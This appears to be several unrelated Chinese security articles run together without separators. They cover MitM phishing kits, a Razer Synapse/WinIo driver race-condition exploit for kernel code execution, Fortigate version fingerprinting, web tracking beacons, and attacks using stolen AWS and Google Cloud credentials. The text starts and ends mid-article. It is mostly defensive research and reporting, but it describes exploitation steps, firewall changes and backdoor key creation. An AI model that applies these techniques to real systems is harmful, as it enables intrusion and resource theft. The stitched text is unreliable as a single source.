Dropbox在2022年11月成為MitM網絡釣魚攻擊的受害者,攻擊者可以攻擊並複制130個私人存儲庫。這表明,這些MitM網絡釣魚攻擊已經在實際活動中產生了重大影響。在Dropbox對這次攻擊的回應中,他們計劃將雙因素身份驗證協議從OTP轉移到WebAuthn,這是一種更能抵禦網絡釣魚的雙因素身份驗證形式。

最近幾週,Palo Alto 的高級URL過濾服務檢測到更多的MitM釣魚URL,像Microsoft 365這樣的企業登錄是主要目標。

8.png

-r-us[.]co[.]uk.Palo Alto 的高級URL過濾服務檢測到以Microsoft為目標的MitM網絡釣魚頁面

9.png

microsoftonlinesupport[.]cf.高級URL過濾服務檢測到的針對Microsoft 365的MitM網絡釣魚頁面

隨著MitM網絡釣魚工具包越來越受歡迎,並繼續擴展其功能集,MitM網絡釣魚攻擊的流行程度也會增加。事實上,Evilginx 3.0預計很快就將發布,同時還將提供如何成功執行MitM網絡釣魚攻擊的在線課程。

總結MitM網絡釣魚攻擊已經在現實世界中造成了嚴重破壞,隨著MitM網絡釣魚工具包的不斷普及,預計其流行程度將會上升。因此,對於各類組織來說,保護自己免受這類網絡釣魚攻擊變得越來越重要。

目前,終端用戶可以採取的保護自己免受MitM網絡釣魚攻擊的措施包括:

1.在輸入任何憑證之前驗證URL的有效性,例如,確保一個URL真的是“github[.]com”,而不是“github-impersonator[.]org”。

2.使用密碼管理器存儲和輸入憑據,如果你發現自己處於密碼管理器無法識別的網站上的MitM釣魚頁面,密碼管理器將在輸入憑據之前發出警告。

3.使用最先進的MFA方法,如硬件安全密鑰或網絡認證雙因素身份驗證。

4.使用高級URL過濾服務的用戶可以通過產品的內嵌網絡釣魚URL檢測(包括本文中提到的MitM網絡釣魚URL)免受MitM網絡釣魚攻擊。高級URL過濾會實時分析網絡流量,在攻擊到達目標之前阻止攻擊。這樣,即使MitM釣魚攻擊使用隱藏的URL(如Evilginx2的情況),高級URL過濾也可以在憑證被盜之前阻止攻擊。

研究人員在OEM廠商的外圍設備中發現了多個漏洞,這影響了這些OEM廠商(Razer、EVGA、MSI、AMI)的許多用戶。這些漏洞源於一個眾所周知的易受攻擊的驅動程序,通常被稱為WinIO/WinRing0。

本文會重點介紹一個有趣的TOCTOU漏洞案例(CVE-2022-25637),以及其他一些漏洞。

眾所周知,MSI開發了一個名為MSI Dragon Center的便捷工具,其目的是檢索有關計算機統計信息(即GPU/CPU使用情況)並控制硬件相關設置。

不過從實際反饋來看,它運行得併不好,出現了許多UI問題並且加載時間慢。有研究人員在調整MSI電腦上風扇的速度時,無疑發現了其中的問題,很可能是MSI使用了內核驅動程序。本文的作者檢查證實了MSI使用內核驅動程序來執行Dragon Center提供的一些功能,即風扇控制功能是通過WMI對像或供應商特定的API(如NvAPI_GPU_SetCoolerLevels)完成的,並沒有在Dragon Center代碼中實現。此外,Dragon Center加載了一個名為WinIO的驅動程序,這顯然與風扇控制的邏輯無關。綜合上述事件,我開始研究WinIo驅動程序,因為它可能會構成一個有趣的攻擊面。

WinIO是由www.internals.com開發的著名內核驅動程序(該網站已不再在線,但可以通過archive.org訪問)。 WinIO驅動程序庫允許32位和64位Windows用戶模式進程直接訪問I/O端口、MSR寄存器和物理內存,它已被許多供應商廣泛使用。由於它具有強大的功能,因此責任重大,驅動程序應該只允許特權用戶使用這些功能。

然而,在WinIo中,情況有所不同,任何用戶都可以與之交互,包括沙盒應用程序。 WinIo可以簡單地在設備對像上設置一個安全描述符,以避免低權限用戶與其交互,如下面的代碼片段所示。

1.png

將SDDL應用於設備對象

我在我的設備上發現的WinIo版本是驅動程序的早期版本(我們懷疑它是WinIo 2.0版),即使是最簡單的漏洞也極易對其發起攻擊,一個簡單的DeviceIoControl請求可能會破壞堆棧。通過使用具有IOCTL代碼0x80102040的DeviceIoControl發送I/O請求,研究人員得到了一個memmove方法。

2.png

WinIo調度函數:易受攻擊的memmove/memcpy

此memmove缺少任何參數檢查。更準確地說,它屬於控制長度參數,該參數源自SystemBuffer。因此,通過指定大於IOPM本地變量長度的長度,我們可以很容易地破壞堆棧。因此,我們可以重寫本地堆棧數據,這是一個經典的緩衝區溢出場景,它可以導致重寫調用方的返回指針,再加上使用ROP鏈,最終導致權限升級。

然而,存在另一個漏洞,即通過物理內存映射的權限升級,這允許我們擁有一個強大的R/W原語。

3.png

WinIO中的任意內存R/W函數

此時,會出現一個問題,這個代碼庫是否可以用於其他地方\驅動程序?

尋找其他易受攻擊的程序我們在VirusTotal中編寫了一個相對簡單的查詢,並找到了114個潛在驅動程序的匹配項,這些潛在驅動程序可能與我們的脆弱驅動程序共享相同的代碼庫。

通過快速瀏覽一些驅動程序的逆向代碼,許多供應商似乎使用了WinIo驅動程序的相同易受攻擊的代碼庫。

其中Razer Synapse Service.sys特別引起了我的注意。

4.webp.jpg

Razer Synapse Servicesys VirusTotal結果

三個異常的Razer Synapse研究人員的設備上安裝的是Razer Synapse,RazerSynapse(雷蛇雲驅動)是款雲端軟件,配合Razer的鍵鼠使用,可以把遊戲配置文件、宏,已經鼠標等的設置參數同步到雲端。 Razer Synapse加載了一些驅動程序,其中之一是Razer Synape服務。 sys–具有不同名稱的WinIo驅動程序。通常,當加載WinIo驅動程序時,不會對設備對象設置安全限制。然而,在這種情況下,它有一個限制性的安全描述符。

5.webp.jpg

應用於Razer驅動程序的SDDL

此時,通常應該放棄此驅動程序,即使它是錯誤的,因為為了與此驅動程序交互,你需要具有高權限,這意味著你已經可以執行特權操作。

在Windows中,如果你以admin+的身份開始,那麼讓驅動程序做一些異常的操作並不會被視為是不安全的事情。由於驅動程序沒有設置安全描述符,所以這一定是在其他地方完成的。

根據MSDN的描述:“設備對象的安全性可以由放置在INF文件中或傳遞給IoCreateDeviceSecure的SDDL字符串指定。”

現在,我們應該仔細分析一下INF文件,但令人驚訝的是,並沒有INF文件!

不得不說這是一個很奇怪的情況,我們懷疑Razer Synapse Service.exe將SDDL設置為驅動程序創建的設備對象。為此,我們監控了Procmon中的系統,並註意到該程序負責加載Razer Synapse Service.sys驅動程序。

6.webp.jpg

準備安裝“Razer Synapse Service.sys”

我們需要對Razer Synapse Service.exe進行逆向工程,以了解它在何處應用安全描述符。幸運的是,它是用C#編寫的,這將使我們的逆向工程工作更容易,因為我們可以使用reflector。

通過遍歷模塊列表,找出哪個模塊負責加載內核驅動程序。我們將不同的模塊反編譯回C#(我們使用了DnSpy),然後繼續查找與服務控制管理器(SC管理器)進行的任何通信。我們發現負責此事的模塊是LibreHardwareMonitorLib(開源)。

如果我們仔細觀察代碼,就會發現一些奇怪的東西。

7.webp.jpg

我們可以看到,在第11-14行中,服務嘗試打開驅動程序創建的設備對象的句柄,然後為其設置新的安全描述符。我的意思是,他們在用戶模式下使用了正確的方法,但他們一開始就不應該在用戶模式空間中這樣做。

如上所述,應用SDDL應該在內核中完成,並在設備創建時完成。事實上,它沒有在內核空間中發生,這導致設備對象持有一個默認的安全描述符,該描述符允許低權限用戶與設備對象交互。

這是檢查使用時間漏洞的典型案例。如果我們能夠利用這個短時間段獲取設備對象的句柄,那麼我們就可以濫用WinIo的漏洞。

漏洞利用“Razer Synapse Service”配置為自動啟動。因此,我們不能從低權限用戶的角度隨意重新啟動它。要利用該漏洞,就是要在不重新啟動服務的情況下重新創建競爭條件(race condition)。

事實證明,使用synapse3提供的更新機制,觸發這種情況相對容易。每當安裝新更新或新插件時,Razer Synapse Service將重新啟動。

重新啟動過程包括卸載WinIo驅動程序,然後重新加載。因此,允許我們觸發競爭條件。這是通過安裝一個新模塊來完成的,這一操作不需要特權,因為Synsapse3支持Alexa、Chroma Connect、Chroma Studio、Philips HUE等模塊。

8.webp.jpg

模塊列表Synapse 3

如果我們選擇安裝其中一個模塊,synapse3進程將通過命名管道向Razer Central Service發送命令,以安裝所選模塊。

RazerCentralService.exe啟動模塊安裝,包括停止和啟動RazerSynapse服務,從而卸載和加載驅動程序。為此,我們創建了一個POC,該POC完成了整個過程,在POC觸發模塊安裝期間,一個無限的while循環嘗試使用CreateFile API打開設備對象的句柄。我們設法在安全描述符更改之前打開了設備的句柄,換句話說,我們贏得了競爭。此時,服務更改安全描述符並不重要,因為我們擁有設備對象的有效句柄。

現在我們可以自由地與設備對象交互,可以利用WinIo的一些漏洞。在本文的POC中,我們利用了MSR R/W原語。寫入MSR原語允許我們重寫IA32_LSTAR MSR。這個特定的MSR保存著指向處理系統調用的內核函數的指針(KiSystemCall64Shadow)。通過重寫函數指針,我們可以實現任意的內核代碼執行。

根據@_xeroxz的經驗,我們使用稱為msrexec的工具輕鬆地開發了MSR寫入原語漏洞。

總結這項研究是我們修設備風扇時無意中發現的一個漏洞,通過利用一個很酷的競爭條件,導致在內核中運行代碼。

0x00 前言Fortigate的識別需要區分管理頁面和VPN登陸頁面,版本探測需要根據頁面特徵提取特徵,根據特徵匹配出精確的版本,本文將要介紹通過Python實現Fortigate識別與版本探測的方法,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路1.Fortigate的識別可通過跳轉的URL進行區分

管理頁面跳轉的url:/login?redir=%2F

vpn登陸頁面跳轉的url:/remote/login?lang=en

2.版本探測頁面源碼中存在32位的16進製字符串可以作為版本識別的特徵,每個版本對應不同的32位字符串

0x03 實現細節1.Fortigate的識別這裡的方法是直接訪問IP,根據頁面返回結果進行判斷

(1)管理頁面

在返回結果中就能獲得32位的16進製字符串

(2)vpn登陸頁面

返回的內容為跳轉地址,需要解析出跳轉地址重新構造URL並訪問,在返回結果中獲得32位的16進製字符串

返回跳轉地址的內容示例:

1.png因為跳轉的url不固定,這裡可以通過正則匹配取出需要跳轉的url,示例代碼:

2.png

注:

在判斷版本時無法在requests模塊中使用allow_redirects=False參數來控制是否重定向,原因如下:

使用requests模塊時,如果使用allow_redirects=False參數,只有在返回狀態碼為301或302時,才會關閉重定向,這裡Fortigate返回的狀態碼為200,所以allow_redirects=False參數不起作用

2.版本探測在實際測試過程中,不同版本的Fortigate,雖然都會返回32位16進製字符,但是格式不同,為了提高匹配的效率,減少工作量,這裡在正則匹配時選擇直接匹配32位的16進製字符,示例代碼如下:

3.png

在實際測試過程中,存在response.text的輸出為亂碼的情況

研究解決方法的過程如下:

輸出response.headers,示例代碼:

4.png

返回結果:

5.png

發現編碼格式為x-gzip

所以這裡可以對response.text額外做一次gzip解碼,獲得原始數據,代碼如下:

6.png完整的實現代碼如下:

7.png 8.png

注:

如果遇到通過瀏覽器訪問SSL Vpn Client頁面提示ERR_SSL_VERSION_OR_CIPHER_MISMATCH的錯誤時,程序將返回如下結果:

9.png

解決方法:

改用Python2即可

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Fortigate_GetVersion.py

代碼支持區分管理頁面和VPN登陸頁面,提供了VM版本的指紋庫作為示例,代碼能夠從頁面自動提取出指紋特徵,同指紋庫進行比對,識別出精確的版本。

0x05 小結本文介紹了通過Python實現Fortigate識別與版本探測的方法,介紹實現細節,開源代碼,作為一個很好的學習示例。

sl-book-page-beacon-blue-1200x600.jpg

目前有大量的追踪器,它們收集用戶在線活動的信息。但出於各種目的,我們已經習慣了在線服務提供商、營銷機構和分析公司跟踪我們的每一次鼠標點擊、我們的社交帖子、瀏覽器和流媒體服務。這些被收集的數據可用於改善用戶界面或整體用戶體驗,或用於個性化廣告。

存在各種類型的跟踪器,用於收集不同類型的信息:廣告(AdAgency)跟踪器、分析(WebAnalytics)跟踪器等等。其中大多數主要用於網站和內部應用程序。還有更多的多功能追踪器,用於網站、內部應用程序,甚至電子郵件。本文描述了其中一種跟踪器類型:web信標。本文會介紹最常檢測到的跟踪系統和公司web信標。

什麼是web信標web信標(web beacon),又稱網頁臭蟲(web bug),是可以暗藏在任何網頁元素或郵件內的1像素大小的透明GIF或PNG圖片,常用來收集目標電腦用戶的上網習慣等數據,並將這些數據寫入Cookie。 web信標在郵件跟踪和垃圾郵件中較為常用。

雖然互聯網隱私倡導者反對使用網絡臭蟲,但是他們大部分承認網絡臭蟲有積極用途,例如跟踪侵犯版權的網站。 根據Richard M.Smith,網絡臭蟲(Web bug)可以收集以下資料:1.獲取網絡臭蟲的計算機的IP地址,2.網絡臭蟲所在網頁的網址,3.網絡臭蟲圖像的網址,4.網絡臭蟲被訪問的時間,5獲取網絡臭蟲圖像的瀏覽器的類型,6.一個提前設定的cookie值。網絡臭蟲(Web bug)經常被垃圾郵件發送者用來驗證電子郵件地址。當收件人打開一封有網絡臭蟲的電子郵件時,返回給發件人的信息就會顯示郵件已被打開,這樣就可以確認電子郵件地址是有效的。

網站上的信標跟踪訪問者。分析性營銷機構或網站所有者自己可以使用這些數據來衡量某些內容或促銷活動的表現,或者他們的受眾的反應。一些網站使用追踪器像素作為其內容的水印,例如追踪非法拷貝。

電子郵件中web信標的主要目的,就像網站上的信標一樣,是統計與內容互動的用戶。例如,跟踪器像素可用於生成關於電子郵件打開率的報告。這有助於公司發現用戶對哪些電子郵件活動感興趣,哪些不感興趣。例如,如果一項電子郵件活動的打開率下降,公司可能會選擇用更吸引眼球的內容或點擊誘餌來代替主題,或者相反,使其更具事實性和信息性。

web信標是如何工作的網頁上的信標通常是從外部源加載的圖像。大小通常是一個甚至零個像素,因此人眼看不見的。因此得名:“間諜像素”。此外,CSS的顯示屬性可以設置為“none”(不顯示)來隱藏圖像。不太常見的是JavaScript信標實現,比如信標API:一個允許向服務器發送請求而不期待響應的接口。

信標API(Beacon API)是一種較新的Web技術,它不需要使用不可見圖像或類似手段就能達到相同的目的。截至2017年4月,它還是一個萬維網聯盟的候選建議。其旨在使Web開發人員能在用戶離開頁面時將信息(如分析或診斷數據)發回Web服務器,以跟踪用戶的活動。使用Web信標API能夠不干擾或影響網站導航的完成此種跟踪,並且對最終用戶不可見。信標API已於2014年被相繼引入到Mozilla Firefox和Google Chrome網頁瀏覽器。

1.jpeg

網站HTML代碼中的web信標位置示例

電子郵件web信標以類似的方式實現:在電子郵件正文中放置不可見的圖像,或者在HTML附件中添加JavaScript代碼。

2.jpeg

電子郵件HTML部分中的web信標位置示例

當網頁或電子郵件被打開時,一個請求被發送到web信標服務器。如果web信標是一個圖像,請求是上傳這個圖像。否則,它是JavaScript代碼中指定的請求,通常不需要響應。下面的信息通常被傳遞給服務器:

打開網頁或電子郵件的日期和時間;

操作系統版本;

瀏覽器或電子郵件客戶端類型和版本;

屏幕分辨率;

IP地址;

3.jpeg

用戶數據傳輸示例

最常見的網站和電子郵件信標我們分析了2022年12月系統檢測到的網絡信標,並對20家公司進行了排名,這些公司的信標在瀏覽網站或打開電子郵件時與用戶互動最頻繁。

網站上最常見的20個信標我們使用了“禁止跟踪”(DNT)組件從2022年12月1日至31日收集的匿名統計數據,該組件阻止網站跟踪器的加載。 DNT在默認情況下是禁用的,它是卡巴斯基互聯網安全、卡巴斯基全面安全和卡巴斯基安全雲的一部分。統計數據由用戶在同意的情況下分享的匿名數據組成。我們列出了20家DNT在全球範圍內最頻繁檢測到其內容的公司。根據DNT的數據,20家公司中的大多數至少與數字廣告和營銷有一定的聯繫。例如,Aniview以2.68%的排名位居第六,專門從事視頻廣告業務。 OpenX(2.19%)、Taboola(1.63%)、Smart AdServer(1.55%)和其他許多公司都是廣告或營銷機構。

即使是科技巨頭,如穀歌(32.53%)、微軟(21.81%)、亞馬遜(13.15%)和甲骨文(2.86%),它們在我們的排名中處於領先地位,運營著營銷和廣告子公司,而銷售產品並不是它們使用網絡信標的唯一原因。

4.png

2022年12月最常見的20個網站信標

電子郵件中最常見的20個信標本節介紹來自卡巴斯基用戶設備的匿名反垃圾郵件檢測數據。反垃圾郵件組件是卡巴斯基安全Linux郵件服務器、卡巴斯基安全微軟Exchange服務器、卡巴斯基安全郵件網關和卡巴斯基安全微軟Office 365的一部分。

與網站信標排名不同的是,最常見的電子郵件信標並不是由大型科技公司主導的:Adobe Analytics(4.49%)排名第八,谷歌(3.86%)和微軟(3.18%)的比例甚至更低。事實上,有相當多的公司專門從事電子郵件營銷就可以解釋這一點。這些公司可分為兩類:

電子郵件服務提供商(ESP):為客戶管理和維護電子郵件活動的公司;

客戶關係管理(CRM):專門為在銷售過程的各個階段管理各種類型的客戶溝通建立平台的公司。

科技巨頭擁有大多數網站使用的主要廣告網絡,因此他們的追踪器主導著這些網站,而ESP和CRM公司管理著大多數電子郵件活動,因此他們的追踪器主導了電子郵件。 ESP和CRM信標收集用戶數據,以跟踪他們對電子郵件活動的響應,即打開郵件的用戶百分比、不同地區打開率的變化情況,等等。我們在電子郵件流量中檢測到的大多數信標是由Mailchimp(21.74%)和SendGrid(19.88%)提供的,這是美國兩家主要的電子郵件營銷公司。

除ESP和CRM外,我們的電子郵件信標排名還包括韓國大型在線零售商樂天(5.97%)、商業社交網站LinkedIn(4.77%)、叫車平台Uber(1.49%)和主要住宿預訂服務Booking.com(0.56%)。這些公司與ESP和CRM參與者分享了他們使用web信標的原因:評估電子郵件營銷活動的影響並收集匯總用戶統計數據。

5.png

電子郵件中最常見的20種web信標

總結公司努力收集盡可能多的用戶數據,盡可能多地為每個用戶配置文件添加細節,以便他們可以個性化產品,更有效地銷售商品和服務。各種跟踪系統使公司能夠跟踪網站、內部應用程序和電子郵件中的用戶。

許多大公司沒有外包這些服務,而是建立了自己的廣告子公司,銷售與廣告專家相同的服務。他們通常合併從不同來源獲得的用戶信息,以豐富和擴展他們現有的每個用戶檔案。同時,其他人使用互聯網巨頭、營銷機構、ESP和CRM公司的服務,幫助這些公司收集更多數據。

一般情況下,用戶會發現很難追踪到他們的數據去向。甚至有時可能都沒有註意到正在收集數據。網站和電子郵件中的信標對用戶來說是不可見的,與cookie相反,放置信標的公司不會發出任何警告。

與此同時,信標還能讓這些公司知道用戶訪問網站的次數,他們來自哪裡,誰在何時何地打開了電子郵件。通過定期收集所有這些信息,不僅可以了解用戶對特定電子郵件消息或登錄頁面的反應,還可以了解用戶的習慣,例如他們通常什麼時候上網。如果攻擊者因洩露而獲得這些信息,他們可以將其用於自己的目的。特別是,如果他們發現你平時的離線時間,他們可以嘗試黑客攻擊你的在線賬戶或以你的名義發送虛假電子郵件。

此外,攻擊者還使用網絡信標技術。至少採取最低限度的反跟踪措施來保護自己免受公司的不必要關注是值得的,更不用說網絡黑客了。你可以安裝一個特殊的瀏覽器擴展,防止在網頁上加載跟踪器,並配置瀏覽器以增加隱私。許多VPN服務都提供跟踪器阻止作為附加功能。當涉及到電子郵件時,您可以防止圖像自動加載。即使你打開了一封包含間諜像素的電子郵件,它也不會起作用,因為除非你明確允許,否則任何圖像(網絡信標也是圖像)都不會加載。至於更高級的JavaScript信標,它們位於附件中,只有在你打開後才能加載。

Cloud-21-illustration_orange.png

雲洩露通常源於配置錯誤的存儲服務或暴露的憑據,越來越多的攻擊專門針對雲計算服務,以竊取相關憑據並非法訪問云基礎設施。這些攻擊的目的就是使目標組織付出經濟或其他方面的代價。

本文重點介紹了兩個雲計算憑據被攻擊的示例。雖然初始訪問階段很重要,但我們將重點關注攻擊期間執行的攻擊後操作,並分享這兩種針對雲基礎設施的攻擊流程。攻擊流程顯示了攻擊者如何濫用竊取的計算憑據來尋找各種攻擊方法(如加密挖掘、數據竊取等),並以意想不到的方式濫用雲服務。

為了檢測下面描述的攻擊,由Amazon Web Services (AWS)和Google cloud概述的雲日誌記錄和監控最佳實踐是必不可少的,因為它們提供了對雲基礎設施級別活動的可見性。這強調了遵循Amazon Web Services和Google Cloud日誌記錄和監控最佳實踐的重要性。

Palo Alto Networks通過Cortex XDR for cloud和Prisma cloud幫助組織解決雲安全問題,Cortex XDR for cloud可檢測雲計算憑據被盜等雲攻擊,Prisma cloud以最少的權限管理身份授權。

雲工作的關鍵原則在深入研究之前,我們應該了解在雲計算中工作的一個非常基本和重要的規則。實體(無論是人還是計算工作負載)都需要合法和相關的憑據才能在基礎設施級訪問云環境。憑據用於身份驗證(驗證實體的標識)和授權(驗證實體被允許做什麼)。

作為一種最佳實踐,當計算工作負載在雲中執行API調用(例如,查詢存儲服務)時,工作負載的相關憑據應該僅專用於它。它們還應該僅供該工作負載或人員使用,而不能供其他任何人使用。

正如我們將在這兩個示例中看到的,有助於降低雲計算憑據攻擊風險的一個重要安全原則是最低權限訪問。特別是,這意味著與這些憑據相關聯的權限應該縮小到使用它們的代碼實際所需的最小權限集。這限制了攻擊者在計算憑據被盜用時可以採取的行動。

攻擊示例1:AWS Lambda憑據受攻擊導致網絡釣魚攻擊攻擊者可以通過竊取Lambda的憑據來執行代表Lambda函數的API調用,這允許攻擊者可以在雲環境中執行多個API調用並枚舉不同的服務,如下圖所示。雖然由於缺乏權限,大多數API調用都不被允許,但該攻擊導致了由攻擊者創建的AWS簡單電子郵件服務(SES)發起的網絡釣魚攻擊。

1.png

攻擊者使用受攻擊的Lambda函數的憑據枚舉雲環境

這種網絡釣魚攻擊不僅給組織帶來了意想不到的成本,也使其他組織面臨額外的風險。

在本示例中,受害者沒有活躍的SES,如果有,攻擊者可能會濫用它來對受害者的組織發起攻擊,或者他們甚至可以使用合法的電子郵件帳戶進行網絡釣魚攻擊。

由於組織使用的雲服務種類繁多,因此很難預測雲攻擊將在何處結束。從雲計算到網絡釣魚並不是只有一個實現方法。

攻擊流攻擊者能夠竊取Lambda的環境變量並將它們導出到攻擊設備(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)。

當憑據被竊取後,攻擊者通過以下步驟發起攻擊:

WHOAMI - 2022-05-20T20:35:49 UTC攻擊從GetCallerIdentity命令開始,該命令相當於whoami,因為它提供了與憑據相關聯的實體的信息。從響應中,攻擊者可以獲得其他信息,例如被盜的帳戶ID和憑據類型。但是,它們不能確定與身份相關聯的任何權限。

IAM枚舉- 2022-05-20T20:35:55 UTC攻擊的下一個階段是身份和訪問管理(IAM)枚舉,IAM被認為是攻擊的最佳途徑。通過獲得對IAM的訪問權,攻擊者可以提升權限並獲得受害者帳戶的持久性。

IAM枚舉包括兩個API調用,由於缺乏權限而被拒絕:

ListAttachedRolePolicies

ListRolePolicies

可以假設,攻擊者註意到缺少權限,因此僅在兩個命令後終止IAM枚舉(可能是為了避免產生不必要的噪音)。

通用枚舉2022-05-20T20:39:59 UTC在枚舉IAM失敗後,攻擊者開始對不同區域的不同服務進行枚舉。這種技術的噪音很大,因為攻擊者試圖了解目標帳戶的體系結構,更重要的是,獲得可能存在於雲帳戶中的敏感信息的訪問權。

執行的一些主要服務和API調用包括:

存儲枚舉

ListBucketsGetBucketCorsGetBucketInventoryConfigurationGetBucketPublicAccessBlockGetBucketMetricsConfigurationGetBucketPolicyGetBucketTaggingEC2枚舉

GetConsoleScreenshotGetLaunchTemplateDataDescribeInstanceTypesDescribeBundleTasksDescribeInstanceAttributeDescribeReplaceRootVolumeTasks網絡枚舉

DescribeCarrierGatewaysDescribeVpcEndpointConnectionNotificationsDescribeTransitGatewayMulticastDomainsDescribeClientVpnRoutesDescribeDhcpOptionsGetTransitGatewayRouteTableAssociations日誌記錄枚舉

GetQueryResultsGetBucketLoggingGetLogRecordGetFlowLogsIntegrationTemplateDescribeLogGroupsDescribeLogStreamsDescribeFlowLogsDescribeSubscriptionFiltersListTagsLogGroup備份枚舉

GetPasswordDataGetEbsEncryptionByDefaultGetEbsDefaultKmsKeyIdGetBucketReplicationDescribeVolumesDescribeVolumesModificationsDescribeSnapshotAttributeDescribeSnapshotTierStatusDescribeImagesSES枚舉

GetAccountListIdentities通用枚舉

DescribeRegionsDescribeAvailabilityZonesDescribeAccountAttributes後門2022-05-20T20:43:22 UTC在枚舉IAM失敗時,攻擊者試圖通過執行CreateUser命令創建一個新用戶(未成功)。

從雲計算到網絡釣魚攻擊2022-05-20T20:44:40 UTC由於枚舉期間的大多數API調用導致權限被拒絕,因此攻擊者能夠成功枚舉SES。因此,攻擊者通過濫用雲電子郵件服務發起了釣魚攻擊,其中包括執行VerifyEmailIdentity和UpdateAccountSendingEnabled等命令。

逃避檢測2022-05-20T23:07:06 UTC最後,攻擊者試圖通過執行DeleteIdentity命令刪除SES標識來隱藏他的一些活動。

其他情況分析此攻擊的一個非常重要的攻擊指標(IoC)是IP地址50.82.94[.]112。

來自Lambda函數的API調用通常使用為Lambda生成的憑據(包括AccessKeyId)從其IP執行。因此,具有該AccessKeyId的每個API調用都被認為是Lambda函數。然而,在攻擊過程中,攻擊者能夠竊取Lambda的憑據,從而允許攻擊者冒充Lambda。

因此,IP是關鍵的IoC,因為它是檢測冒充Lambda的方法。攻擊者使用竊取的憑據來模擬和執行代表Lambda函數的API調用,但是他們是從一個未連接到Lambda的IP地址執行的,該IP地址也不屬於雲環境。

攻擊示例2:部署加密挖礦的Google Cloud應用程序引擎服務帳戶受攻擊攻擊者能夠竊取Google Cloud應用程序引擎服務帳戶(SA)的憑據,攻擊者有許多方法可以實現這一點,這些方法不一定與雲服務提供商中的任何漏洞有關。例如,在許多示例中,用戶將憑據存儲在不安全的位置,或者使用容易猜到或強行設置的密碼。

在本示例中,被盜竊的SA是默認SA,它具有高權限的角色(項目編輯器)。這允許攻擊者發起攻擊,最終創建了多個用於加密挖掘的核心CPU虛擬機(VM),如下圖所示。

2.png

攻擊者濫用受攻擊的App Engine SA來分配多個雲示例進行竊取攻擊

當攻擊者在受害者的環境中啟動數千個虛擬機時,將顯著增加其預期成本。即使有人在短時間內註意到在他們的環境中發生了這樣的攻擊,它仍然會產生嚴重的攻擊後果。

攻擊流谷歌應用引擎是Google Cloud完全管理的無服務器平台,服務賬戶是令牌。當用戶創建一個App Engine示例時,雲提供商創建一個默認SA,並將其附加到創建的App Engine上。

此應用程序引擎默認SA在項目中具有編輯功能。編輯器具有很高權限,這是攻擊者能夠發起攻擊的關鍵,編輯器允許執行高權限的API調用,例如:

啟動計算工作負載;

FW (Firewall)規則修改;

創建SA密鑰;

權限升級2022-06-16T12:21:17.624 UTC這次攻擊一開始是為了升級權限。如上所述,默認情況下,應用程序引擎的SA對項目具有編輯權限。憑藉這些權限,攻擊者試圖通過將以下對象添加到IAM策略中來添加計算/管理功能:

3.png

正如我們所看到的,SA域前綴中的appspot表示該SA屬於App Engine服務。

允許任何2022-06-16T12:21:29.406 UTC接下來,攻擊者修改了項目級別的FW規則。首先,攻擊者試圖創建一個子網(名為default)。然後,攻擊者將以下規則添加到該子網中:

4.png

此操作進一步推進了攻擊者挖掘加密貨幣的目標,為了實現無限制的加密貨幣挖掘,攻擊者刪除了對網絡級別的任何限制。

注意優先級字段是很重要的。通過將其設置為零,攻擊者的規則被設置為最高優先級,這意味著它將按照現有FW規則的順序首先生效。

挖礦攻擊2022-06-16T12:21:38.916 UTC安裝完成後,攻擊的主要階段就開始了,在多個區域啟動虛擬機。

雖然攻擊者可以創建高CPU設備,但在本示例中,攻擊者反而創建了一個配備了四個高性能GPU(例如nvidia-tesla-p100)的標準虛擬機(例如n1-standard-2):

5.png

總的來說,在這次攻擊中創建了超過1600個虛擬機。

後門2022-06-16T13:25:56.037 UTC攻擊者假設用於攻擊的SA密鑰會被檢測到並被刪除,因此通過執行google.iam.admin.v1.CreateServiceAccountKeyAPI調用創建了多個SA密鑰供以後使用。

其他情況分析就像我們討論的第一個示例一樣,IP是一個重要的IoC。在這種情況下,攻擊是從多個IP(總共九個不同的IP)發起的,其中一些是活動的Tor出口節點。

同樣,我們希望從雲環境中的IP使用App Engine的SA,它絕對不應該從Tor出口節點使用。

修改防火牆規則是此類攻擊中常用的技術,許多組織強制執行拒絕訪問活動挖礦池的網絡流量規則,因此攻擊者必須修改防火牆規則來實現他們的目標。

最後,通過編輯名為default的網絡,攻擊者試圖逃避檢測。除非禁用此選項,否則默認情況下,將使用默認網絡創建每個新項目。攻擊者似乎試圖利用這一點,從而避免創建自己的網絡。

總結:竊取計算令牌是一個日益嚴重的威脅竊取計算工作負載的令牌是上述兩個攻擊示例的共同點,雖然上述兩個示例都涉及無服務器服務,但此攻擊向量與所有計算服務都相關。

需要強調的是,這種類型的攻擊可能來自不同的攻擊路徑,包括應用程序漏洞或零日漏洞(如Log4Shell),而不僅僅來自錯誤配置或糟糕的雲安全態勢管理(CSPM)。

為了處理此類攻擊,雲審計日誌對於檢測和調查與響應(IR)都至關重要。對於無法安裝代理的無服務器工作負載,雲審計監控更為關鍵,因此更難阻止此類攻擊。

AWS和Google Cloud提供的日誌記錄和監控最佳實踐為如何防止此類情況提供了明確的指導。 AWS GuardDuty服務還可以幫助檢測和警告類似的攻擊,例如從另一個AWS帳戶使用的EC2示例憑據。另一種預防方法是為Lambda配置接口端點策略,限制Lambda僅在VPC內使用。

Palo Alto Networks的用戶可以通過以下方式免受計算令牌盜竊Cortex XDR for cloud,通過將來自云主機、雲流量和審計日誌的活動與端點和網絡數據集成,為安全團隊還原完整事件過程。

Prisma Cloud幫助組織管理身份授權,解決了在雲環境中管理IAM的安全挑戰。 Prisma Cloud IAM安全功能自動計算跨雲服務提供商的有效權限,檢測過度許可的訪問,並建議獎權限降到最低。

了解如何使用Unit 42雲事件響應服務(用於調查和響應攻擊)和網絡風險管理服務(用於在攻擊發生前評估你的安全態勢),從而保護組織免受雲環境攻擊。

eBPF(extended Berkeley Packet Filter) 可謂Linux 社區的新寵,很多大公司都開始投身於eBPF 技術,如Goole、Facebook、Twitter 等。 eBPF 是從BPF(也稱為cBPF:classic Berkeley Packet Filter)發展而來的,BPF 是專門為過濾網絡數據包而創造的。但隨著eBPF 不斷完善和加強,現在的eBPF 已經不再限於過濾網絡數據包了。

eBPF用於在Linux OS內核中加載和運行用戶定義的程序,以觀察、更改和響應內核行為,而不會影響內核模塊的不穩定。 eBPF直接從用戶空間提供內核級可見性。可見性和穩定性的結合使得eBPF框架對安全應用程序特別有吸引力。

